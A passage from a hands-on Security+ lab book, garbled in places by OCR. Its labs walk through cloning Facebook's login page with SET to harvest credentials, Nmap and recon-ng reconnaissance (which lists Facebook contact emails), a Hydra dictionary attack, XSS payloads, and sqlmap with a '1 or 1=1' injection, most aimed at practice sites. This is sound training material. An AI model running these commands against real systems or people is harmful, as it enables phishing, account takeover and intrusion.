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Introduction—101 Labs

Welcome to your 101 Labs book.

When I started teaching I'T courses back in 2002, I was shocked to discover
that most training manuals were almost exclusively dedicated to theoretical
knowledge. Apart from a few examples of commands to use and
configuration guidelines, you were left to plow through without ever knowing
how to apply what you learned to live equipment or to the real world.

Fast forward another 17 years, and little has changed. I still wonder how—
when around 50% of your examination marks are based on hands-on skills
and knowledge—most books give little or no regard to equipping you with
the skills you need to both pass the exam and then make money in your
chosen career as a network, security, or cloud engineer (or whichever career
path you choose).

101 Labs is NOT a theory book; it’s here to transform what you have
learned in your study guides into valuable and applicable skills you will be
using, from day one, on your job as a network engineer. For example, Mark
and I won’t be teaching you about SSH per se; instead, we show you how to
configure a SSH connection. If the protocol isn’t working, we show you what
the probable cause is. Sound useful? We certainly hope so.

We choose the most relevant parts of the exam syllabus and use free software
or free trials (whenever possible) to walk you through configuration and
troubleshooting commands step by step. As we go along and your confidence
grows, we will also be increasing the difficulty level. If you want to be an
exceptional network security engineer, you can also make your own labs up,
add other technologies, try to break them, fix them, and do it all over again.



—Paul Browning

101 Labs—CompTIA Security+

This book is designed to cement the theoretical knowledge you have gained
from reading or watching your Security+ study guide or video training
course. If you have yet to study up on the theoretical side of things, please
check out our cutting edge video and labs on our sister website,
https://www.howtonetwork.com; our course also features practice exams that
may come in handy.

The goal of this book is to dramatically improve your hands-on skills and
speed, enabling you to succeed in the practical portions of the Security+
exam and also to transfer your skills to the real world as a network security
engineer. We don’t have space here to cover anything theoretical, so please
refer to your Security+ study guide to get a good understanding of the
learning points behind each lab. Every lab is designed to cover a particular
theoretical issue, such as the configuration requirements of SSH, for example.

If you want to become CompTIA Security+ certified, there’s one exam you
must first pass:

SY0-601

We’ve done our best to hit every topic mentioned in the exam syllabus on the
CompTIA website. However, please do check the syllabus on their website,
for they may change as time goes on. Their website also gives more details
on the weighting given to each subject area.

It’s also worth noting, that once we show you how to configure a certain
service or protocol a few times, we stop walking you through the steps in
subsequent labs—to save valuable space. Anyway, in times of uncertainty,
you can always flick back a few pages to see check how it’s done.

We’ve done our best to keep the topology as simple as possible. For this
reason, almost all labs have been configured on a virtual machine (with


https://www.howtonetwork.com/

internet access).

Please do check out our resource page, which will cover any additional
information you need, and other material that are bound to prove useful:

https://www.101labs.com/resources

Doing the Labs

Apart from a couple of research labs, all the labs are hands-on. They have
been checked by several students and a senior Linux security consultant, and
should be error-free. Bear in mind that each machine will differ, so your
output may vary from ours in certain instances.

If you get stuck or things aren’t working, we recommend you take a break
and come back to the lab later with a clear mind. There are many Linux and
security support forums out there where you can ask questions. If you are a
member of 101labs.net, you can, of course, also post any of your enquiries on
our forum.

Best of luck with your studies,
—Paul Browning, CCNP, MCSE, A+, Net+

—Mark Drinan, PenTest+, SSCP

101 Labs—Security+ Video Course

All of our 101 Labs books have a walkthrough video for each lab, hosted on
https://www.101labs.net. We only mention this in case you want an extra
boost. We add a new certification every two months, and each course comes
with 200 exam-style questions. Please use the below coupon code to get a
discount off your joining fee:

101secplus

Instructions


https://www.101labs.com/resources
https://www.101labs.net/

1. Please follow the labs from start to finish. If you get stuck, do
the next lab and come back to the problematic lab later. There is a
good chance you will be able to work out the solution as you gain
confidence and experience in configuring the software and using
the commands.

2. You can take the labs in any order, but we’ve done our best to
present them in increasing difficulty, to incrementally build up
your skill level as you go along. For best results, do ALL the labs
several times over before attempting the exam.

3. There are resources as well as configuration files for all the
labs at www.101labs.net/resources.

4. Please DO NOT configure these labs on a live network or on
equipment belonging to private companies or individuals.

5. Please DO NOT attempt to configure these labs on other Linux
distros. We’ve chosen Kali for the labs due to it being the most
popular Linux distribution among security experts.

6. You MUST be reading or have read a Security+ study guide, or
watched a theory video course. Apart from some configuration
tips and suggestions, we don’t explain much theory in this book;
it’s all hands-on labs.

7. It’s impossible for us to give individual support to the
thousands of readers of this book (sorry!), so please don’t contact
us for tech support. Each lab has already been tested by several
tech editors, of abilities ranging from beginner to expert.

Also from Reality Press Ltd.

Cisco CCNA Simplified

Cisco CCNA in 60 Days

IP Subnetting—Zero to Guru
101 Labs—CompTTA A+

101 Labs—CompTTA Network+
101 Labs—CompTTA Linux+
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Lab 1. Credential Harvesting Using
Site Cloning

Lab Objective:
Learn how to harvest credentials using a cloned website.

Lab Purpose:

Credential harvesting is the process of gathering sensitive information on a
target—such as passwords or the answers to secret questions—without them
knowing that this information is being captured.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a virtual machine for the purpose of this lab.

Lab Walkthrough:

Task 1:

The first step is to boot your virtual machine and get Kali Linux up and
running. Once this is complete, open a terminal and start the “SET: Social
Engineering Toolkit” by typing as “root” user:

setoolkit

When “Do you agree to the terms of service [y/n]” message appears, type “Y”.

First, update SET utility to get latest features. Choose option 5.



The Social-Engineer Toolkit is a product of TrustedSec.

5:// vl .trustedsec. com

from the menu;

Social-Engineering Attacks
Penetration Testing (Fast-Track)
Third Party Modules

Update the ! lal-Engineer Toolkilt

Update SET configuration
Help, Credits, and About %

Exit the Social-Engineer Toolkit

Task 2:

From the main menu, choose option 1 for “Social-Engineering Attacks”, then
choose option 2 to select “website Attack Vectors”. You will then be presented
with the following screen asking you which kind of website attack you want
to conduct. Choose option 3, the “Credential Harvester Attack Method”.



Select from the menu:

Social-Engineering ﬂttarhﬁdcgﬁﬁﬂp

Penetration Testing (Fast-Track)
Third Party Modules

Update the Social-Engineer Toolkit
Update SET configuration

Help, Credits, and About

Exit the Social-Engineer Toolkit

Select from the menu:

1) Spear-Phishing Attack Vectors
Z2) Webslte Attack Vectors
Infectious Media Generator
Create a Payload and Listener
Mass Mailer Attack
Attack Vector
Point Attack Vector
Attack Vector
Powershell ack Vectors
Thira

L1

99 ) Return back to the main menu.




Java Applet Attack Method

Metasploit Browser Exploit Method
il Harvester Attack Method

Tabnabbing Attack Method

Web Jacking Attack Method

Multi-Attack Web Method
HTA Attack Method

Return to Main Menu

“I

Task 3:
The next menu will ask you which method you’d like to choose to harvest a
victim’s credentials. We will be cloning a site in this lab, so choose option 2

“Site Cloner”.

The tirst method will allow SET to import a list of pre-detined web
applications that it can utilize withinm the attack.

second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attemptimg to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import webs

functionality.

Web Templates

) Site Cloner <
) Custom Import

Return to Webattack Menu

.-‘l

Task 4:

SET will ask you for your IP address so that it can send the POST requests
from the cloned website back to your machine. Normally, SET can detect
your IP address automatically. If your Kali node has many IP addresses, you



can find the desired one by opening a new terminal and typing “ifconfig”.

Once you tell SET that you would like to clone a website, it will then ask you
for the URL of the site you wish to clone. You can enter any site you like.
For this lab, I will be using https://www.facebook.com.

Credential harvester will allow you to util clon abilities within SET

s or parameters f a website as Ll as place them into a report

= % JMPORTANT = READ THIS BEFORE ENTERIMNG IN TH IP ADD S5 & TMPORTANT # ——

v that

re using an EXTERNAL IP ADDRESS; vyo

Task 5:

Once the URL is entered, SET will clone the site and display all the POST
requests of the site back to this terminal. It is now time to navigate to the
cloned site.

Task 6:

To get to the cloned site, open Firefox in your Kali machine and enter your
local TP address into the browser. You will then be able to view the cloned
login page for Facebook. Enter a random username and password into the


https://www.facebook.com/

fields and press Log In.

Log in to Facebook - Mozills Firefox

facebook

Log in o Facebook

Task 7:
Finally, go back to the terminal where SET is running. You will see lots of

text from the numerous POST requests being sent from the cloned site. Scroll
down until you see the values “username” and “password”. You should be
able to see the username and password you entered into the cloned site in

cleartext.



Credentials

here!




Lab 2. Nmap

Lab Objective:
Learn how to scan a host using Nmap and understand the results.

Lab Purpose:

Nmap (Network Mapper) is one of the most common tools used among
hackers and system administrators. It is used to scan a host, which can be a
server, pc, network, etc. When running an Nmap scan, the goal is usually to
discover various pieces of information about a target system or network.
Examples of such information include: the devices that are connected to a
network, the ports that are open on a device, the services that are running on
these ports, whether the device is up, and whether there is a firewall
protecting the device, among others.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a virtual machine for the purpose of this lab. Scan

the following site: scanme.nmap.org

Note: This site has been developed by Nmap for the purpose of scanning.
Never scan any site, system, or network without prior permission from the
owner.

Lab Walkthrough:

Task 1:

Nmap comes pre-installed in Kali Linux. Just open a terminal, type “nmap
scanme.nmap.org” without the inverted commas. This will initiate a scan of
the target and will attempt to determine which ports are open and what


http://www.scanme.nmap.org/

services are open on these ports.

sCanme.nmap.or E

Starting Nmap 7.91 ( htt ) at -93-15 22:00 EDT
Nmap scan report for sc .nmap.org (45.33.32.156)
Host is up (0.¢
Other addresses for sc
bb2f
Mot shown: 996 filtered ports

STATE SERVICE

open

open

apen

) Open

map done: 1 IP address (1 host up) scanned in 7.98 seconds

As we can see from the scan results, there are 4 ports open, and there are
different services running on each port. The scan we just performed,
however, is a very basic scan and will only scan the top 1000 ports for basic
information. In the next step, we will run a more advanced scan.

Task 2:

In this step, we will be scanning the same target, scanme.nmap.org, but with
a more advanced scan. Let’s say we want to determine the versions for the
services running on each port, so that we can determine if they are out of date
and potentially vulnerable to exploitation. We also want to determine the
operating system of the webserver running the target site. We will run the
following scan to determine this information:



TCP/IP fingerprinting (for - ®
QUITTING!

password for kali: =

Oops! You must be root before doing this type of scan. Type “sudo” and re-
enter nmap command with desired parameters. The line in the terminal will
be like the following:

sudo nmap -v -sT -sV -O scanme.nmap.org

When asked for the password, type “kali” without inverted commas.



The results from our scan show us the exact versions of software running on
each open port. Note, if there was a firewall protecting this webserver, we

may be unable to see this information. We can also determine with relatively
high accuracy the version of the operating system running on the web server.

An easier way to perform a full scan on a target is to use the -A flag, which
will scan a target using the -sS, -sV, and -O flags.

Task 3:

Try scanning the same target with a number of different flags. Visit the
following site to see the different scans you can run against targets, as well as
the different outputs different flags will provide.

https://nmap.org/book/port-scanning-options.html


https://nmap.org/book/port-scanning-options.html

Lab 3. Recon-ng

Lab Objective:
Learn how to find WHOIS information on a target domain-name.

Lab Purpose:

WHOIS information can consist of location, registration and expire dates,
contact information (email, phone numbers, etc.) and more about domain-
name. The purpose of this lab is to use recon-ng to automate the discovery of
this information.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a virtual machine for the purpose of this lab.

Lab Walkthrough:

Task 1:
Begin this lab by opening Kali Linux within your virtual machine. Then, as
root user, open a terminal and type:

recon-ng



Version check disabled.

sponsored by. ..

e . DIl Lisec . com

recon-ng ] [default] = I

Task 2:

recon-ng offers the opportunity for users to create different workstations
based on their project needs. For this lab, we will be gathering WHOIS
information. So, create a new lab by typing the following:

workspaces create whois_recon

> workspaces create

Task 3:

We will begin by gathering WHOIS information about a target domain-name.
Since WHOIS information is available to anyone, it is ok to do this for any
domain. The domain we will be targeting is, once again, “facebook.com”, but
you can do this lab for any other domain you wish.



We will need to install modules from the marketplace to search for WHOIS
information. We will begin by searching WHOIS for all related information
regarding a target site. To do this, we first need to install the WHOIS search
module. To do this, type:

marketplace search whois

We want to install the fourth option, which is “recon/domains-
contacts/whois_pocs”. To do this, type:

marketplace install recon/domains-contacts/whois_pocs

To begin searching, we first need to set the source by typing:
options set SOURCE facebook.com

To load the module for use, type:
modules load recon/domains-contacts/whois_pocs

Then, to see information about this module and how it is used, type “info” and
hit enter.



. Updates the

We are now ready to search WHOIS for information regarding
“facebook.com”. Simply type “run” and hit enter to begin the search.

As you will see, various contact and location information will show up for
facebook.com. This information will be automatically saved in our
workstation.



Last Name: Operations
Middle Name: None
Notes: Mone

Phone: Mone

Region: Menlo Park, CA
Title: Whols contact

URL: http://whois.arin.net/rest/poc/BST184-ARIN
Country: United States

Email: bstout@facebook.com

First Name: Brandon

Last Name: Stout

Middle Name: MNone

Notes: Mone

Phone: Mone

Region: Chicago, Il

Title: wWhois contact

URL: http://whols.arin.net/rest/poc/DIW23-ARIN
Lountry: United States

Email: tiffany.cameron.507@facebook.com

First Name: Darrell

Last Name: Wayne
Middle Name: None
Notes: MNone

Phone: Mone
Region: Flowermound, TX
Title: Whols contact

URL: http://whols.arin.net/rest/poc,/MIU-ARIN
Lountry: Unlited States

Email: zuck@thefacebook.com

First Name: Mark

Last_Name: fuckerberg

Middle Name: None

Notes: NMNone

Phone: MNone

Region: Palo Alto, CA

Title: Whois contact

SUMMARY

(8 new) contacts found.




Task 4:

We will now attempt to discover as many subdomains as possible, with their
[Pv4 address for facebook.com, using HackerTarget.com API. We will need
to import the “hackertarget” module, as we did previously for whois_pocs.

Before we do this, you should first type “back” and press enter to quit out of
the whois_pocs module. We will begin by searching the marketplace for
“hackertarget” modules using:

marketplace search hackertarget

Only one option should show, which is “recon/domains-hosts/hackertarget™.
You can highlight this option and press ctrl + shift + c to copy the path to the
module. You can paste using ctrl + shift + v. To install the module use:

marketplace install recon/domains-hosts/hackertarget

Searching module index for "hackertarg

[recon-ng][whois_recon] > marketplace search hackertarget -::::._____"-

+
| Path | Version | Status | Updated

%r:.:-t.f_'nrl_.-"'m.:-rr.::1r1f~—h-:.='-.1.':1_.-"r'-.u.|-:.l.1rl.:11':;_:r.'--'. | 1.1 not installed | 2020-05-17 |

-

D = Has dependencles. See

ule ins
R ding
[recon-ng][whois_recon] > I

We then want to load the module using;:
modules load recon/domains-hosts/hackertarget

We are now ready to begin searching HackerTarget for subdomain
information regarding Facebook. First, set the source by typing:

options set SOURCE facebook.com



If you want to see some information around what this module is used for and
how, simply type “info” and hit enter.

rad recon/domains-hosts/hacke

escription

¥ input (see 'info

1 FROM domains WHERE domain IS NOT NULL

olumn of inputs

Task 5:
Once this is done, type “run” and hit enter. You will notice a list of various
subdomains associated with facebook.com appearing.



Country: None

Host: edgeray-msgr-shv-0l1-tpel.facebook.com
Ip_Address: 31.13.87.128

Latitude: MNone

Longitude: None

Notes: None

Region: Mone

Country: None

Host: edge-atlas-shv-81-tpel.facebook.com
Ip_Address: 31.13.87.8

Latitude: None

Longitude: None

Notes: None
Region: MNone

Country: None
Host: oculus-verts-shv-@l-tpel.tacebook.com ﬁ":?’

Ip_Address: 31.13.
Latitude:

tes: None
Region: MNone

Country: MNone

Host: edge-mws-shv-01-tpel.facebook.com
Ip_Address: 31.13.87.59

Latitude: MNone

Longltude: None

Notes: None

Region: Nome

SUMMARY

501 total (1 new) hosts found.
[recon-ng][whois_recon][hackertarget] > I

This information can be useful for an attacker who may be targeting
Facebook. They can use this information to attack the various subdomains
and their IP addresses associated with Facebook, as they may not all be
equally secure, to find a way through their security.



Lab 4. Conducting a Dictionary
Attack to Crack
Online Passwords Using Hydra

Lab Objective:
Learn how to conduct a dictionary attack to crack passwords online, using
Hydra.

Lab Purpose:

Hydra is an advanced password cracker which can be used to crack
passwords for online pages, such as the login page of a website. This is useful
as we don’t need to capture a hash and attempt to crack it offline; we can
simply target the login page itself, with any username and password
combination we like.

A dictionary attack is a type of password attack which uses a combination of
words from a wordlist and attempts all of them in association with a
username to login as a user. It typically takes a long time to perform, and the
results are dependent on the accuracy and quality of your wordlist. A
dictionary attack is a form of brute forcing.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a virtual machine for this lab.

Note: This site has been developed for the purpose of specific types of
hacking. Never use hydra on any site, system, or network without prior
permission from the owner.



Lab Walkthrough:

Task 1:
The first step is to power up Kali Linux in a virtual machine. Then, open the
Hydra help menu with the following command as “root” user:

sudo hydra

For this lab, I will be focusing on the command line interface version of
Hydra, but you can also access the GUI version of hydra using the following
command as “root” user:

sudo xhydra

Type “hydra -h” to get the help menu and see what kind of attacks we can run
using Hydra.

Note the examples at the bottom of the help menu, which will provide you
with a better idea of the syntax Hydra supports.

Use HYDRA PROXY HTTP or
L.g. i export HE

export YDA nd socks

% export

export HYDRA

Examples:
hydra -1 user -P passlist.txt ftp://192.168.0.1
hydra userlist.txt -p defaultp F 2.168.8.1/PLAIN
hydra -C defaults.txt -6 po 001:db8::1]:143/TLS:DIGEST -MD5S
hydra -1 admin -p pa i ftp://[192.168 F241/
hydra - | Xt

Task 2:
The site we will be targeting is the following:

http://testasp.vulnweb.com/Login.asp?RetURL=/Default.asp?

Note that this site has been developed for the purpose of hacking, and you
should not use Hydra on any other site without permission from the owner.



Lisemame: J

Password: . |

[ Login

To use Hydra against an online target such as this one, we need to capture the
post-form parameters. Hydra will use these parameters to send its various
requests to the correct target. To capture this information, open target site
with web browser in Kali. Then, press ctrl + shift + I to open the browser
developer tools panel.

Navigate to the tab called “Network”. When you are there, reload the page by
pressing ctrl + F5. You should see several GET requests. This is our machine
requesting data from the server so that we can see the login form.

[ ©J Inspector Console [ Debugger 1) Network {} Style Editor () Performance o}
0]
5 i amai
260 : B testaspwy et ult s
=
ot

Now enter a random username and password into the login page and click
login. You should see a new POST request pop up in the Network tab. This is
our machine sending the data to the server. This request contains the
parameters we need.



W O Inspector [ Console

ﬂ -
Status Method
208] POST
200 GET
404) ET
Task 3:

Right click on the POST request and select “Edit and Resend”. A page will

O Debugger T,l, MNetwork

Domain
K testasp.vulnweb.com
B testaspyulnweb.com

B testaspwulnweb.com

{} Style Editor

File

Q) Performance

1

Login.aspTRet URL=/Default.asp?

styles.css

rav

con

open to the right of the Network header, with information regarding the
POST request. Scroll down to the Request Body section and copy the
tfUName and tfUPass Parameters. Hydra will need this information.

€SS IS XHR Fonts Images Media WS Other

New Request

Query String

RetURL =/Default.asp?

Reguest Headers

Accepi-Language: en-U5,eng=0.5
Accept-Enceding: gzip, deflate
Content-Type: application/y-www-form-urlencoded

Content-Length: 27

Origin: httpe/ftestasp vulnweb.com

Connection: keep-alive

- Disable Cache

Mo Throttling =

Referer: http://testasp vulnweb.com/Login.2asp?RetURL =% 2FDefault%2Easp% 3F
Cookie: ASPSESSIONIDSABABTSC =HDKLEOBDOAAGAKJAEDMEFIIF

Upgrade-insecure-Requests: 1

Request Body




Task 4:

For this attack, we will be attempting to login as admin. We will need to
choose a wordlist to guess passwords to login as this account. Open the
terminal and type: “locate wordlists” to see all the different wordlists Kali has
installed. We will use the rockyou.txt wordlist for this attack. Type “locate
rockyou.txt” to see the path to this wordlist.

a -

wordlists

fusr/bin/wordlists
fusr/lib/python3/dist-packages/theHarvester/wordlists

fusr/share/wordlists
/usr/share/amass/wordlists
Jusr/share/amass/wordlists/all.txt

= i i I

If the rockyou.txt wordlist file has a .gz extension on it, we will first need to
extract the file. To do this, change directory to the wordlist directory using
the following command:

cd /usr/share/wordlists
Then use the following command to extract the file:
gunzip rockyou.txt.gz

Type Is into the terminal after this and you will see that the rockyou.txt file is
now available.

® /usr/share/wordlists
) rockyou.txt.gz

Jusr/share/wordlists

rockyou. txt

Great! We now have all the information we need and are ready to open Hydra
and begin the attack.



Task 5:
Let’s begin the attack by submitting the following command to hydra:

hydra -1 admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form
“/Login.asp?RetURL=/Default.asp?:tftUName=AUSERA&tfUPass="PASSA:S=logout” -vV -f

Once you press enter, the attack will begin and Hydra will start guessing a lot
of passwords for the username admin in an attempt to login.

target testasp.vulnweb. : "admin" - pass "bheibi" - 73962 of 14344399 |
target testasp.vulnweb. - “admin" - pass "bhebs" - 73963 of 14344399 [c
target testasp.vulnweb. - "admin" - pass "bhe®3" - 73904 of 14344399 [c
target testasp.vulnweb.com - ‘admin” - pass "bhaby@7" - 73905 of 14344399 |
target testasp.vulnweb. . "admin® - pass "bhaby®3" - 73906 of 14344399 |

target testasp.vulnweb. - "admin®" - pass "betzy" - 73987 of 14344399 [c
target testasp.vulnweb. - "admin®" - pass "betol3" - 73908 of 14344399 [c
target testasp.vulnweb. - "admin" - pass "bestofme" - 73989 of 14344399
target testasp.vulnweb. - "admin" - pass "bestmate" - 73910 of 14344399
target testasp.vulnweb. - p - pass "bestlove" - 73911 of 14344399

B Irna ST i

Ok, this may be a lot to take in; let’s break it down with ctrl + C.

e -] is the username we will be logging in as

e -P is the wordlist we will be using to guess the password for
this user

¢ http-post-form is the type of request hydra will be sending to
the server in order for us to login

e “/Login.asp?
RetURL=/Default.asp?:tfUName=AUSERA&tfUPass=APASSA:S=
— This is the actual request hydra is sending to the server, it will
replace USER and PASS with the -1 and -P values we specified
earlier

e -vV will show us each of the username and password login
attempts

e -f will finish that attack when the correct username and
password combination is entered

Task 6:
Note that hydra will probably not be able to guess the password, so you can



end the attack at any point by pressing ctrl + c. This is an example of Hydra
attempting a dictionary attack for a POST request. Hydra can also be used to
attack usernames and passwords of different services—such as SSH, FTP,
telnet, proxy, etc—making it an extremely powerful and useful tool to have
in your arsenal.



Lab 5. Conducting a Cross Site
Scripting (XXS) Attack

Lab Objective:
Learn how to test a website for an XXS vulnerability.

Lab Purpose:

XXS is a common vulnerability in web applications and is frequently listed
as a top vulnerability in the OWASP top ten. XXS occurs when web
applications execute JavaScript, which is input into the form sections of a
web application. The applications perform no security checks on the entered
data. It simply passes it straight to the server, causing inputted JavaScript to
execute.

Lab Tool:
Web browser

Lab Topology:
You can use any web browser of your choosing for this lab.

Lab Walkthrough:

Task 1:

We will begin this lab by opening a web browser of your choice. There are
numerous sites on the web that have been setup for the purpose of practising
attacks like XXS. We will be using this site: https://xss-game.appspot.com

The site has several levels of XXS which vary in difficulty. It also offers you
several hints on how to proceed if stuck on a level. This is a great way to
advance your knowledge of this type of web application attack.



Task 2:
Let’s begin by navigating to the following URL.:

https://xss-game.appspot.com/level 1

This is the first level. We are presented with a simple search box for a web
page.

FourOrFour

| Search

To be able to execute JavaScript in a web application like this one, a basic
understanding of the syntax for JavaScript and HTML is required.

For example, <h1>"Header here”</h1> will create a header. Enter this value into
the search box and see what result you get.

FourOrFour

Sorry, no results were found for

hello

. Iry again.

Great! We know this application is vulnerable to XXS now, as our input is


https://xss-game.appspot.com/level1

directly reflected in the output of the search result. Note, what we just did is
not XXS as there is no JavaScript involved. We simply know now that the
web application is most likely vulnerable to XXS.

Task 3:
Now, to execute the XXS attack. Try to figure it out yourself using the hints
the site provides you. The answer is the following:

<script>alert(1)</script>

This will cause an alert text box to pop up on our screen with “1” on it.

Congratulations, you executed an alert

1

You can now advance 1o the next level

We have successfully executed an XXS attack.

Task 4:
For level 2, we will only be talking about it in brief. In this level, we are
presented with a forum page.

The script we entered for level 1 will not work here. We need to first enter a
HTML tag which will adopt the script we entered in level 1, so that every
time this page is visited and the tag is loaded, the XXS attack will run. This is
a method of achieving a persistent XXS attack on a site.

<img src="http://inexist.ent” onerror="javascript:alert(1)”/>

This bit of HTML is loading an image, which doesn’t exist into the forum.


http://inexist.ent/

Every time there is an error, the JavaScript alert will run. Considering that the
image doesn’t exist and that it will be loaded every time a user visits the
forum, the JavaScript alert will always run.

You
Sat Jan 09 2021 15:54:28 GMT+0000 (Greenwich Mean Tima)

Congratulations, you executed an alert:

1

You can now advance to the next level

Task 5:
To deepen your understanding of different levels of XXS, you should attempt
the next few levels and see how far you get.



Lab 6. Automating SQL Injection
Using SQLmap

Lab Objective:
Learn how to automate SQL injection using SQLmap.

Lab Purpose:

SQLmap is an open-source tool used as part of a penetration test to detect and
exploit injection flaws. SQLmap is particularly useful as it saves time by
automating the process of detecting and exploiting SQL injection.

Lab Tool:
Reliable internet connection and a modern browser to connect
https://tryhackme.com/room/sqlilab

Lab Topology:
We will not use Kali Linux for this lab.

tryhackme.com offers virtual Linux node (AttackBox) to access their target
systems. Also, OpenVPN connection is available. For simplicity in this lab,
we will use AttackBox. AttackBox also contains SQLmap and any other
necessary tools that we will need during this lab.

Lab Walkthrough:

Task 1:

In order to use AttackBox, tryhackme.com requires membership login.
Membership is free and very simple to set up. All that is required is an email
address and a password.
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£+ B htps/fryhackme.com/roon r . E =

Access
Machines

10 10

SQL ln,iECtion Lab Room Tutorial [ Start AttackBox ~ | Help Options »

Understand how SOQL injection attacks work and how to exploit this vulnerability.

Tazk 1 @ Introduction =
This room is meant as an intreduction to SQL injection and demonstrates various SQL injection m
attacks. It is not meant as a way to learn the SQL language itself. Some previous knowledge of the

S0QL language is highly recommended ;"
The web application can be Found at: htty BCHINE 1P /

- -

MNE: Please allow a minimum of five minutes For it to deploy.
- -

It is possible to display the SQL queries performed by the application on the challenges by enabling "Show Query” in the

Lop-righl menu un ACHINE_IP.5 ILis alsw possible Lo display Lolorial for Ue Challenges by enabling
"Guidance”,

We select Task “1” in the list that appears after login. In this task, the most
basic SQL injection attack is presented. Press the blue colored “AttackBox”
button, and then press the “Start Machine” button (which is green in this
picture). It is recommended that you wait for 5 minutes for the lab to be
ready.



® 10.10.234.21

SQL o g

Injection

Lab

Active Machine Information

Title IP Address Expires
1 hour
sqlilabp3 10.10.87.8 S5m S&3 Add

This room is meant a5 an introduction to SQL

I tion and demanstrabes vanous SOL njection
altacks. It it nol meant 3% 3 way to learn the SO
language itself, Some previous knowledge of the SQL language is highly

Task 2:
Once you are on the AttackBox, open the web page with IP address and port

number, which is provided on the left panel. In this case,
https://10.10.87.8:5000 is ours.

You will be presented with a webpage containing several labs with different
SQL injection vulnerabilities. We will be focusing on the first one for this
lab, so click on “go to challenge”.

SOQL Injection Sandbox
Track: Introduction to SOQL. Injection

SOL Injection 1: Input Box Non-String
sesglil

You will be navigated to a sample login page which is vulnerable to SQL
injection. We can test its vulnerability to SQL injection by inputting the


https://10.10.87.8:5000/

following into the Profile ID text box:
“1 or 1=1-- -«

Type the above string exactly, but without inverted commas.

Enter any random value into the password field and submit.

SQL Injection 1: Input Box Non-5tring

We will then be logged into the application, and you should be able to see the
flag for this challenge here.

So, we know this login form is vulnerable to SQL injection, but we want to
know how to automatically test this using SQLmap. To do this, copy the link
for the login page. Then, open a terminal in AttackBox and type the
following:

sqlmap -u ‘http://10.10.101.165:5000/sesqlil/login?profileID=q&password=a’ -p ‘profileID’ —
level=3 —rtisk=3

e _u tells sqimap the target URL
e _p tells the tool which parameter in the URL we want to test for



SQL injection

e _level=3 will tell the tool to use more detailed and
comprehensive SQL injection techniques

e _risk=3 will tell the tool not to be subtle about its SQL injection
attempt

Once this command is ran, you will notice SQLmap attempting a huge
amount of SQL injection techniques against the target.

i ', stable

ameter 'profilelDd’ might not be imjectable
rofilelD

(FO] testing ' 0 e
got a 362 rrdlrt:r te "http 10,101, 16%5: 3000/ sesqLil home " . ba you nnt te follow?® [Y/n] r
)] GET paramcter ‘profilelD’ appears to be "OR boolean-based blind - WHERE or H.'u'u'Ilﬁ clouse’ injectable (with --code=362)
heuristic (extemded) test shows that the back-end DBMS could be 'SQLite’
¢ back-end DEBMS is ‘'SQLite’. Do you want to skip test payloads specific for other DEBMSes? [Y/m] ¥
for the remaining tests, do you want to include all tests for "SOLite' extending provided level (3] value? [Y/n] ¥

re is at least one other (potential) technique

r UNION based 50L injection is jetected, pleas ider andsor try to force the back-end DEMS (e.g. '--«

with hl.ILL ua'l.ues. Do you ¢ with dr.u :.ntrgt'r valee for ocption *
i LII'I'Iul.JFII detected, pless sr forcing the back-end DBEMS (e
o Hthy

f switch *-

= esting the other
sqlmap identified g ] 0 ) wit 1L of 424 HTTP(=]

When the tool is finished, we can see that SQLmap discovered that the
parameter ‘profileID’ is vulnerable. We are also presented with information
about the backend database version, allowing us to craft more specific and
detailed SQL injection techniques for further exploitation.

GET parameter "profileID’ 1s wu e. Do you want to keep testing the others (1f any)? [y/N
sqlmap identified the following injection point(s) with a total of 424 HTTP(s) requests:

Parameter: p ofilelD (GET)
sed blind
1 sed blind - WHERE or HAVING clause
OR 5833=5¢ - Y& cword=a

IFO] actively finger |:.|1|t1rll'_'| SOLite
INFO] the back-end DBMS is SOLite
: SQLite
] fetched data logged to text files under '/root, l/share/sqlmap/output/106.10.1081.165"

[*] ending @ 11:53:17 /2621-82-16/




Lab 7. How to Use Burp Suite to
Intercept Client-side Requests

Lab Objective:
Learn how to use Burp Suite to intercept client-side requests.

Lab Purpose:

Burp Suite is an especially useful tool when testing web applications. Burp
Suite has many uses, but for this lab, we will be focusing on the local proxy
feature, which allows us to intercept the requests being sent from our
machine to a server. This provides us with the ability to alter the requests
being sent the server.

Lab Tool:
Kali Linux.

Lab Topology:
All we need is Kali Linux amd64 version VM for this lab.

Lab Walkthrough:

Task 1:
Run “burpsuite” command in Kali terminal screen as “kali” user. Accept and
update as required.
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Once Burp is opened, choose “Temporary Project” from the list of options
and click next.

® Temporary projet t—— @)

Hame File

Y

Cancel MNext

In the next screen, choose the option to setup Burp using Burp defaults, and
then press “Start Burp”.



® Use Burp defaults g n

Load from configuration file File

File: Choose file...

Default to the above in future

2)

Disable extensions - \

Cancel Back Start Burp

Task 2:

Once Burp Suite is opened, you will see a lot of tabs and other information.
For now, all we will be worrying about is the Proxy tab, so you can navigate
there now.

Burp Suite recently updated to include its own built-in browser for using the
local proxy with, which means we no longer must configure our browser to
work with Burp manually. However, we will also consider the use of an
external browser in this lab.

Notice that colored button which says, “intercept is on”. This means that
Burp is currently intercepting traffic sent from our Kali machine to any
server. For now, we can press this button to turn intercept mode off.



Burp Suite Community Edition v2020.12.1 - Temporary Project

Burp  Project Intruder Repeater Window Help
Repeater Sequencer Decoder Comparer Extender Project options User options
Dashboard Target Prosy Intruder

Inbercept HTTP history WebSockets history Options

= °
Intercept is off Open Browser

Task 3:

We will begin by learning how to use Burp with Firefox. Navigate to the
proxy tab, and then to the options tab. Then, click on “Import/export CA
Certificate”. This is the certificate which will allow our browser to trust Burp
Suite.

Burp  Project  Intruder Repeater  Window  Help
Dashboard Target Prax Intruder Repeater Sequencer Decoder Comparer Extender Project oplons User options
g y pe pa o
Intercapl HTTP I'i\luf WebSackels hiskary Diplicns
E:‘ Burp Prr.rn,r-.lvt.kﬂflwrntn receive incoming HTTP requests from ',w.rha;-r Youwill need to configure your browser touse one of the listenems as its proxy server,
9 y)
Add Running Interdmce nwisible Redirect Certiticate TL5 Protocols
Edit 127.0.0. % CACertificate - 0O x
Remowe

@ You canexport your certificate and key for use inother tools, orinanother installation nH'!-.lrp
